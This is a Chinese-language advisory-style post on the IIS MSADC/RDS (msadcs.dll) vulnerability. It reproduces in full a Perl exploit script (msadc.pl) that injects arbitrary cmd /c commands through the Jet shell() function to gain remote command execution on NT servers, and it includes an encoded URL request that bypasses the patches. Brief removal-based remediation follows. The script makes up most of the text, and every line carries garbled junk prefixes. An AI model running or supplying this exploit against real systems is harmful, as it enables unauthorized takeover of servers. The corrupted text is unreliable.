IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
.3yxg}E>{ Q,z^eMk'd: 涉及程序:
$d_%7 xx Microsoft NT server
{P@OV1 COk;z.Kn 描述:
1Ydym2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
maR5hgWCHe ([a[fi 详细:
f|X./J4Bl 如果你没有时间读详细内容的话,就删除:
?oO<PR}y c:\Program Files\Common Files\System\Msadc\msadcs.dll
n; fUwon 有关的安全问题就没有了。
9>na3ISh +Pm
yFJH 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
\5s#9 KZ;Q7 1 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
]K(>r#'nH 关于利用ODBC远程漏洞的描述,请参看:
}D>nXhO& 7Ta",S@m http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J}UG{RttI !R.*Vn[
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
G 0;5I_D/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp %d/Pc4gfc A$]&j5nh| 这里不再论述。
\$]
V#@F ,Bg)p_B 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
qFD#D_O6 <_~>YJ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
` kG}NJf 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
J` J^C kt*""&R LCMCpEtY*K #将下面这段保存为txt文件,然后: "perl -x 文件名"
3A(sT} }+1Y>W7q #!perl
8Vb.%f&I #
1JI\e6]I # MSADC/RDS 'usage' (aka exploit) script
v2uyn #
HX77XTy # by rain.forest.puppy
|nFg"W #
8aHs I( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
q`8M9-~ # beta test and find errors!
H=j&uv8 DL0i use Socket; use Getopt::Std;
J<4egk4 getopts("e:vd:h:XR", \%args);
oSOO5dk:z xF4>D!T%8 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tgP x!5U Y]SX2kk(2 if (!defined $args{h} && !defined $args{R}) {
~Yw`w2 print qq~
ZFAi 9M Usage: msadc.pl -h <host> { -d <delay> -X -v }
,@1.&!F4it -h <host> = host you want to scan (ip or domain)
X <<hb -d <seconds> = delay between calls, default 1 second
D<
h+r? -X = dump Index Server path table, if available
hS}d vZa -v = verbose
}I1SC7gY -e = external dictionary file for step 5
RS>;$O_(M l12_&o"C~ Or a -R will resume a command session
z!r-g(^G 7z=zJ4C ~; exit;}
3.
kP, 9svn B@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y.l`NTT]< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
g{}{gBplnl if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
DKG%z~R* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
?{OB+f}Mo $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A@kp`- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
u::2c "XEKoeG{ if (!defined $args{R}){ $ret = &has_msadc;
1UHStR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
61W
ms@D% < c}cgD4 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
v&NC` dVR . "cmd /c ";
P sLMV:O9S $in=<STDIN>; chomp $in;
v ;q<h $command="cmd /c " . $in ;
8Q%rBl. J4-64t nZ if (defined $args{R}) {&load; exit;}
zdoJ+zRtK JIl<4 %A print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*hP9d;-Ar &try_btcustmr;
%$)[qa3 FM)Es&p& print "\nStep 2: Trying to make our own DSN...";
YtzB/q8I &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ptrQ~m- 5jTBPct print "\nStep 3: Trying known DSNs...";
Aqwjs
3 &known_dsn;
B4yC"55 *[-% .=[7 print "\nStep 4: Trying known .mdbs...";
>>ncq$ &known_mdb;
lAxbF 0
s-IW if (defined $args{e}){
r
pv`% print "\nStep 5: Trying dictionary of DSN names...";
gRk%ObJGqm &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|-W7n'n OKo39 A\fu print "Sorry Charley...maybe next time?\n";
G/2| *H exit;
i,{'}B _\9|acFT2O ##############################################################################
q\P"AlpC! f#s
/Ycp+ sub sendraw { # ripped and modded from whisker
fI5]ed eS sleep($delay); # it's a DoS on the server! At least on mine...
]ZQ3|ZJ?< my ($pstr)=@_;
"QWF&-kAI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=,/08Cs die("Socket problems\n");
D{]t50a. if(connect(S,pack "SnA4x8",2,80,$target)){
&vf%E@< select(S); $|=1;
+wAH?q8f print $pstr; my @in=<S>;
v[r5!,F select(STDOUT); close(S);
Kd?TIeF E return @in;
G\y: O9( } else { die("Can't connect...\n"); }}
&B</^: S}/?Lm} ##############################################################################
?Mb'l4 8b0!eB#_Ee sub make_header { # make the HTTP request
!ys82 my $msadc=<<EOT
4xg7oo0iJ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/.'tfy$ User-Agent: ACTIVEDATA
s<i& q {r Host: $ip
BM(8+Wj Content-Length: $clen
]}3AP!: Connection: Keep-Alive
zHI_U\"8D %6\e_y% ADCClientVersion:01.06
BI'} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`uO(#au,U Oie0cz:>: --!ADM!ROX!YOUR!WORLD!
Mpfdl65 Content-Type: application/x-varg
T ~9)0A"] Content-Length: $reqlen
c~@Z ZeUA e EOT
}=1#ANM1 ; $msadc=~s/\n/\r\n/g;
`CWI%V return $msadc;}
Osb#<9{} mVg$z ##############################################################################
U>b mCK2 1@&i
ju5 sub make_req { # make the RDS request
+1Qa7\ my ($switch, $p1, $p2)=@_;
q~[@(+zP5 my $req=""; my $t1, $t2, $query, $dsn;
W| z
djb Y:GSjq if ($switch==1){ # this is the btcustmr.mdb query
^x Wu7q $query="Select * from Customers where City=" . make_shell();
f^P:eBgpx $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I7b_dJD;* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
qSB]Zm< ,]1oG=`3v elsif ($switch==2){ # this is general make table query
T6gugDQ~. $query="create table AZZ (B int, C varchar(10))";
b51{sL $dsn="$p1";}
k 8C[fRev g_kR5Wxpt elsif ($switch==3){ # this is general exploit table query
v8
Q/DJ~ $query="select * from AZZ where C=" . make_shell();
5XK}8\ $dsn="$p1";}
huMNt6P[ AS 5\X.%L* elsif ($switch==4){ # attempt to hork file info from index server
_|VWf 8?\ $query="select path from scope()";
IO,ddVO $dsn="Provider=MSIDXS;";}
rTBrl[&,q' Rgb1B3gu elsif ($switch==5){ # bad query
vx:MLmZ. $query="select";
K+9oV[DMs $dsn="$p1";}
e(;1XqLM 9ghZLQ $t1= make_unicode($query);
qTbY'V5A $t2= make_unicode($dsn);
9.<d S $req = "\x02\x00\x03\x00";
yZ
{H $req.= "\x08\x00" . pack ("S1", length($t1));
!$ $|zB% $req.= "\x00\x00" . $t1 ;
5|&:l8= $req.= "\x08\x00" . pack ("S1", length($t2));
?\_N*NEtK $req.= "\x00\x00" . $t2 ;
ttEQgkd` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$U,`M" return $req;}
qo1eHn4 kOv2E] ##############################################################################
p&B
c<+3e )_*<uSl sub make_shell { # this makes the shell() statement
h'{}eYb+ return "'|shell(\"$command\")|'";}
3j{VpacZY A=Au>"nAA ##############################################################################
nWTo$*>W Au+SCj sub make_unicode { # quick little function to convert to unicode
X!+#1NPM my ($in)=@_; my $out;
,2Y PD4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
zzf;3S? return $out;}
%GRD3S
j@4
yRl ^ ##############################################################################
DqgYc[UGA "CYh"4]@rD sub rdo_success { # checks for RDO return success (this is kludge)
//c<p my (@in) = @_; my $base=content_start(@in);
s?;rP,{:p if($in[$base]=~/multipart\/mixed/){
^i3~i?\,P return 1 if( $in[$base+10]=~/^\x09\x00/ );}
X~/hv_@ return 0;}
^;J@]&[
~ &Gp~)% ##############################################################################
&!I^m IUX~dO sub make_dsn { # this makes a DSN for us
(*63G4Nz\ my @drives=("c","d","e","f");
"%O,*t print "\nMaking DSN: ";
EleK*l foreach $drive (@drives) {
GarPnb print "$drive: ";
__U;fH{c my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
L8<Yk`jx "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
s>Eu[uA . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S~WsGLF s $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
EjsAV F
[@ return 0 if $2 eq "404"; # not found/doesn't exist
:Jp$_T&E if($2 eq "200") {
SB#YV
foreach $line (@results) {
]=A=VH& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
],ow@} } return 0;}
(k?,+jnR S>~QuCMY ##############################################################################
)A]E:]2 k0|*8 sub verify_exists {
L@*0wx`fU my ($page)=@_;
F(E3U'G my @results=sendraw("GET $page HTTP/1.0\n\n");
F{*S}&q*)o return $results[0];}
TGxspmY6 {p-b,J9~a ##############################################################################
{e,m<mAi 5TlPs_o sub try_btcustmr {
<fX]`57Dc` my @drives=("c","d","e","f");
}{*((@GY} my @dirs=("winnt","winnt35","winnt351","win","windows");
Wx}+Vq<q *#j+,q!X foreach $dir (@dirs) {
~8'4/wh+8 print "$dir -> "; # fun status so you can see progress
jKV,i? foreach $drive (@drives) {
w yO@oi
Vn print "$drive: "; # ditto
bK `'zi $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]a|3"DP5 $reqlenlen=length( "$reqlen" );
V}732?Jy $clen= 206 + $reqlenlen + $reqlen;
G!~[+B <wwcPe} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
3 wVN:g7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
kq6K<e4jO else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0dhJ# [Y ZOl
=zn ##############################################################################
9OB[ig 2#Fc4RR;
sub odbc_error {
Ij>x3L\- my (@in)=@_; my $base;
>j1\]uo my $base = content_start(@in);
i][7S mN if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
y4`<$gL $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>So)KB $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ww*='lz $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j3QpY9A return $in[$base+4].$in[$base+5].$in[$base+6];}
/#J)EH4p print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|RQ19m@ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<a *X&P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
=Haqr*PDx 3=xb%Upw ##############################################################################
}'{39vc . }zVPdBRfm sub verbose {
tBe)#-O my ($in)=@_;
M-KjRl return if !$verbose;
=LJc8@<:f print STDOUT "\n$in\n";}
y|!%C-P Xui${UYN ##############################################################################
gkS#=bv9e@ | ]`gps sub save {
U6qv8*~ my ($p1, $p2, $p3, $p4)=@_;
@L|X('i open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k))*Sg print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
GDC`\cy close OUT;}
<^VZ4$j P8.tl"q ##############################################################################
"HFS5Bj' +M%i3A sub load {
yEt :g0Z\ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,-Fhb~u open(IN,"<rds.save") || die("Couldn't open rds.save\n");
i> Ssp @p=<IN>; close(IN);
G~T]m . $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
p~M1}mE $target= inet_aton($ip) || die("inet_aton problems");
fAWjk&9 print "Resuming to $ip ...";
,YFuMek $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
NUBzm nA>8 if($p[1]==1) {
0`/ PEK{ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vrXmzq $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
D1bS=>
;," my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#V[?puE@ if (rdo_success(@results)){print "Success!\n";}
U:>'^tkp else { print "failed\n"; verbose(odbc_error(@results));}}
b3e:F{n
^ elsif ($p[1]==3){
Y4`MgP8t if(run_query("$p[3]")){
NLM ]KT print "Success!\n";} else { print "failed\n"; }}
ay#cW., elsif ($p[1]==4){
_)Uw-vhQiT if(run_query($drvst . "$p[3]")){
NtMK+y print "Success!\n"; } else { print "failed\n"; }}
ws5x53K exit;}
&NV[)6! (5?5? < ##############################################################################
Okca6=2" (A?{6 sub create_table {
0~RsdQGqC my ($in)=@_;
d
-6[\S# $reqlen=length( make_req(2,$in,"") ) - 28;
w3:WvA5jt $reqlenlen=length( "$reqlen" );
DHGv<
F@ $clen= 206 + $reqlenlen + $reqlen;
{
'Hi_b3 my @results=sendraw(make_header() . make_req(2,$in,""));
Fa^5.p return 1 if rdo_success(@results);
i](,s. my $temp= odbc_error(@results); verbose($temp);
Ojp)OeF\ return 1 if $temp=~/Table 'AZZ' already exists/;
DR/qe0D return 0;}
u3kK!2cdP UC^&&
2maI ##############################################################################
[.B)W); _lb ^ sub known_dsn {
ME~ga,|K # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]9)pFL my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
(r`+q[ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
evPr~_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
a>`\^>G4 [8.ufpZ foreach $dSn (@dsns) {
"|`8mNC print ".";
K|];fd U next if (!is_access("DSN=$dSn"));
{
yU1db^ if(create_table("DSN=$dSn")){
VE^NSkOa& print "$dSn successful\n";
H[V^wyi'z if(run_query("DSN=$dSn")){
:N^1T6v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?UQVmE& print "Something's borked. Use verbose next time\n";}}} print "\n";}
,5'LbO- l.1)%q&@^ ##############################################################################
)7=B]{B_ wNDLN`,^H sub is_access {
MQE=8\
my ($in)=@_;
2F^
%d9`
$reqlen=length( make_req(5,$in,"") ) - 28;
WKX5Dl $reqlenlen=length( "$reqlen" );
%f\{ ] $clen= 206 + $reqlenlen + $reqlen;
]>/YU*\ my @results=sendraw(make_header() . make_req(5,$in,""));
8,YF>O& my $temp= odbc_error(@results);
&/=>:ay+# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Gk,{{:M:5 return 0;}
rB?u.jn0T u#%Ig3 ##############################################################################
O+`^]D7 JWy$` "{ sub run_query {
Rp A76ug my ($in)=@_;
E xKH%I $reqlen=length( make_req(3,$in,"") ) - 28;
KpC)A5u6 $reqlenlen=length( "$reqlen" );
B P"PUl: $clen= 206 + $reqlenlen + $reqlen;
YS?P A# my @results=sendraw(make_header() . make_req(3,$in,""));
)(*A1C[ return 1 if rdo_success(@results);
2iI"|k9M my $temp= odbc_error(@results); verbose($temp);
J:f>/ return 0;}
J><O
51 /`hr) ##############################################################################
r4JXbh6Tt T =3te|fv sub known_mdb {
Y::fcMJr;Q my @drives=("c","d","e","f","g");
h@Ea$1'e, my @dirs=("winnt","winnt35","winnt351","win","windows");
vKAHf;1 my $dir, $drive, $mdb;
8 jqt=}b my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<Xp
F 9/}i6j8Z # this is sparse, because I don't know of many
i0-!! my @sysmdbs=( "\\catroot\\icatalog.mdb",
=t@m: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
>1pD'UZIy7 "\\system32\\certmdb.mdb",
z:u`W#Rf "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
=d~]*[8 ZyCAl9{p my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
X]cB`?vR "\\cfusion\\cfapps\\forums\\forums_.mdb",
<ofXNv;` "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@EO#Ms "\\cfusion\\cfapps\\security\\realm_.mdb",
`"AjbCL "\\cfusion\\cfapps\\security\\data\\realm.mdb",
.~v~~VL1NS "\\cfusion\\database\\cfexamples.mdb",
rctn0*MP "\\cfusion\\database\\cfsnippets.mdb",
:FG}k Y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[w=x 0J& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
r{\cm
Ds "\\cfusion\\brighttiger\\database\\cleam.mdb",
@kvp2P+O "\\cfusion\\database\\smpolicy.mdb",
?[RG8,B "\\cfusion\\database\cypress.mdb",
kUP[&/Lc "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
CSr{MF`]e "\\website\\cgi-win\\dbsample.mdb",
bcM#KA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
3
%DA { "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
$k'f)E ); #these are just
rA`zuYo foreach $drive (@drives) {
fEVuH] foreach $dir (@dirs){
QMtt:f]?i foreach $mdb (@sysmdbs) {
*N>Qj-KAM_ print ".";
~;+i[Z&e if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
T"QY@#E print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
*uEU9fX if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_'I9rGlx3 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1'aS2vB9 } else { print "Something's borked. Use verbose next time\n"; }}}}}
*s%s|/ G!rcY5!J foreach $drive (@drives) {
RLKO0 # foreach $mdb (@mdbs) {
20fCWVw}?} print ".";
qWanr7n]@ if(create_table($drv . $drive . $dir . $mdb)){
dt5gQ9(B print "\n" . $drive . $dir . $mdb . " successful\n";
vo::y" if(run_query($drv . $drive . $dir . $mdb)){
"Y%\qw/wq print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yBl<E$= } else { print "Something's borked. Use verbose next time\n"; }}}}
I*
bjE' }
#5H@/o8!s= iEU(1?m2- ##############################################################################
+\W"n_PPy 3R{-\ZMd sub hork_idx {
&a|oJ'clz print "\nAttempting to dump Index Server tables...\n";
;m5M:Z" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<;XJ::d $reqlen=length( make_req(4,"","") ) - 28;
Fx@
{] $reqlenlen=length( "$reqlen" );
kqyMrZ# $clen= 206 + $reqlenlen + $reqlen;
,h>w % my @results=sendraw2(make_header() . make_req(4,"",""));
z N
t7DK if (rdo_success(@results)){
JNu - z:J my $max=@results; my $c; my %d;
lyi}q"Kn*; for($c=19; $c<$max; $c++){
h)<R#xw $results[$c]=~s/\x00//g;
E$1^}RGT) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-0]aOT-- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}UO,R~q~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
hD,-!R $d{"$1$2"}="";}
=3T?U_u@ foreach $c (keys %d){ print "$c\n"; }
H,I}R } else {print "Index server doesn't seem to be installed.\n"; }}
1]<!Xuk^f x)?\g{JH ##############################################################################
oF>GWstTR p']AXJ`Z sub dsn_dict {
eeDhTw9 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
XgbGC*dQ while(<IN>){
VsmL#@E $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
l6WcnJ next if (!is_access("DSN=$dSn"));
&Ch)SD if(create_table("DSN=$dSn")){
BmM,vllO print "$dSn successful\n";
K]u|V0c if(run_query("DSN=$dSn")){
"5YdmBy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Jt)~h,68 print "Something's borked. Use verbose next time\n";}}}
$"i690 print "\n"; close(IN);}
\fhT#/0N
4W?<hv+k7* ##############################################################################
H94.E|Q\+ S3_4i;K\ sub sendraw2 { # ripped and modded from whisker
w|HZI,~ sleep($delay); # it's a DoS on the server! At least on mine...
/'1y`j< my ($pstr)=@_;
wI4;/w> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z(WpOD die("Socket problems\n");
J4vKfxEg if(connect(S,pack "SnA4x8",2,80,$target)){
F[u%t34' print "Connected. Getting data";
lP
e$AI open(OUT,">raw.out"); my @in;
</X"*G't select(S); $|=1; print $pstr;
.#@D n( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
m\f_u* close(OUT); select(STDOUT); close(S); return @in;
ETOc4hMO } else { die("Can't connect...\n"); }}
k~R[5W|' =F&RQ}$ ##############################################################################
[*G2wP[$ Fjzk;o sub content_start { # this will take in the server headers
@>]3xHE6#= my (@in)=@_; my $c;
gp HwiFc for ($c=1;$c<500;$c++) {
9qDGxW
'1 if($in[$c] =~/^\x0d\x0a/){
Dkb&/k:) if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
bw\=F_>L else { return $c+1; }}}
(Pd>*G\ return -1;} # it should never get here actually
s]c$]&IGG &[RU.Q!_H ##############################################################################
8:% R|b /6zpVkV sub funky {
t {"iIz_S my (@in)=@_; my $error=odbc_error(@in);
Elp!,(+&6 if($error=~/ADO could not find the specified provider/){
hBhkb ~Oky print "\nServer returned an ADO miscofiguration message\nAborting.\n";
6\;1<Sw* exit;}
yxN!*~BvL if($error=~/A Handler is required/){
\zU5G#LQ print "\nServer has custom handler filters (they most likely are patched)\n";
?U08A{ c exit;}
1VFqT' if($error=~/specified Handler has denied Access/){
pCc7T-"og print "\nServer has custom handler filters (they most likely are patched)\n";
tTH%YtG exit;}}
Y2-bU 7mo >n~p1: $ ##############################################################################
H Im,
"iYk K]8wW;N4 sub has_msadc {
rbPs~C-[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
qJU)d my $base=content_start(@results);
+
nS/jW return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
v{ n}%akc return 0;}
=-LX)|x} >8fH5 ########################
h&bV!M ]Rh(=bg 1fv~r@6s 解决方案:
i[{]
LiP 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
T''+zk 2、移除web 目录: /msadc